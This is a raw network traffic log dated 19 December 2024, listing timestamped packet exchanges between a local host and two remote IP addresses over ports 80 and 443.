Dec 19, 2024 14:10:40.594140053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.595352888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.595412016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.595458031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.595511913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.596817017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.596873999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.596918106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.596981049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.598170042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.598229885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.598239899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.598295927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.599812984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.599877119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.599924088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.599977016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.601102114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.601174116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.601178885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.601216078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.602701902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.602765083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.602850914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.602911949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.604413033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.604477882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.604686975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.604748011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.605890036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.605951071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.606048107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.606097937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.607409954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.607425928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.607465982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.607500076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.608797073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.608850956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.726445913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.726547956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.726598978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.726663113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.727128029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.727193117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.727287054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.727363110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.728538990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.728596926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.728619099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.728661060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.729738951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.729799986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.729842901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.729892015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.731000900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.731060028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.731102943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.731153965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.732266903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.732327938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.732335091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.732388020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.733545065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.733602047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.733634949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.733685017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.734761953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.734826088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.734891891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.734949112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.736007929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.736057997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.736064911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.736123085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.737226009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.737282038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.737332106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.737375975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.738487005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.738537073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.738579988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.738626957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.739716053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.739788055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.739792109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.739841938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.740931988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.740983009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.740984917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.741033077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.742147923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.742202044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.742286921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.742345095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.743383884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.743426085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.743437052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.743473053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.744666100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.744720936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.744771957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.744823933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.745826960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.745884895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.745892048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.745956898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.747081041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.747137070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.747245073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.747293949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.748864889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.748949051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.749063969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.749191999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.749804974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.749850035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.749855995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.749911070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.750792980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.750843048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.750920057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.750969887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.752024889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.752077103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.752145052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.752197981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.753247976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.753262997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.753299952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.753334045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.754622936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.754686117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.754728079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.754777908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.755841970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.755909920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.756015062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.756091118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.756978035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.757033110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.757214069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.757261038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.758455038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.758510113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.758512974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.758564949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.759411097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.759464979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.759495974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.759548903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.760622025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.760675907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.760850906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.760901928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.761877060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.761924028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.761924982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.761974096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.763092995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.763125896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.763149023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.763181925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.764321089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.764416933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.764437914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.764487028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.765548944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.765604973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.765642881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.765693903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.766797066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.766861916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.766866922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.766917944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.768141031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.768156052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.768212080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.769232988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.769273043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.769288063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.769316912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.770560026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.770611048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.770684958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.770733118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.771708012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.771754026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.771881104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.771925926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.772917986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.772978067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.773000002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.773049116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.774218082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.774274111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.774317026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.774369001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.775412083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.775468111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.775517941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.775568008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.776613951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.776669025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.776719093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.776772022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.777883053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.777935982 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.777980089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.778055906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.779175043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.779225111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.779241085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.779285908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.780361891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.780424118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.780483961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.780535936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.781549931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.781614065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.781662941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.781719923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.782789946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.782844067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.782991886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.783047915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.784127951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.784143925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.784224033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.784224033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.785254002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.785317898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.785368919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.785417080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.786510944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.786575079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.786655903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.786739111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.787715912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.787770987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.787853956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.787908077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.789071083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.789130926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.789153099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.789216995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.790261984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.790316105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.790329933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.790380001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.791610003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.791663885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.839448929 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:40.839551926 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:40.839642048 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:40.840197086 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:40.840233088 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:40.918561935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.918669939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.918697119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.918781996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.918927908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.918994904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.919003010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.919058084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.920063972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.920123100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.920159101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.920218945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.921278000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.921330929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.921377897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.921427965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.922481060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.922532082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.922544956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.922595024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.923672915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.923737049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.923808098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.923866034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.924866915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.924928904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.924978971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.925028086 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.926079035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.926135063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.926202059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.926287889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.927390099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.927443027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.927510023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.927561998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.928467035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.928518057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.928622961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.928723097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.929675102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.929733992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.929765940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.929817915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.930905104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.930970907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.931003094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.931054115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.932085991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.932148933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.932187080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.932241917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.933397055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.933449030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.933453083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.933504105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.934462070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.934515953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.934524059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.934572935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.935688019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.935750008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.935753107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.935813904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.936911106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.936974049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.936995983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.937051058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.938147068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.938216925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.938314915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.938370943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.939276934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.939348936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.939420938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.939480066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.940510035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.940587997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.940660000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.940725088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.941690922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.941751957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.941777945 CET	80	49837	31.41.244.11	192.168.2.4
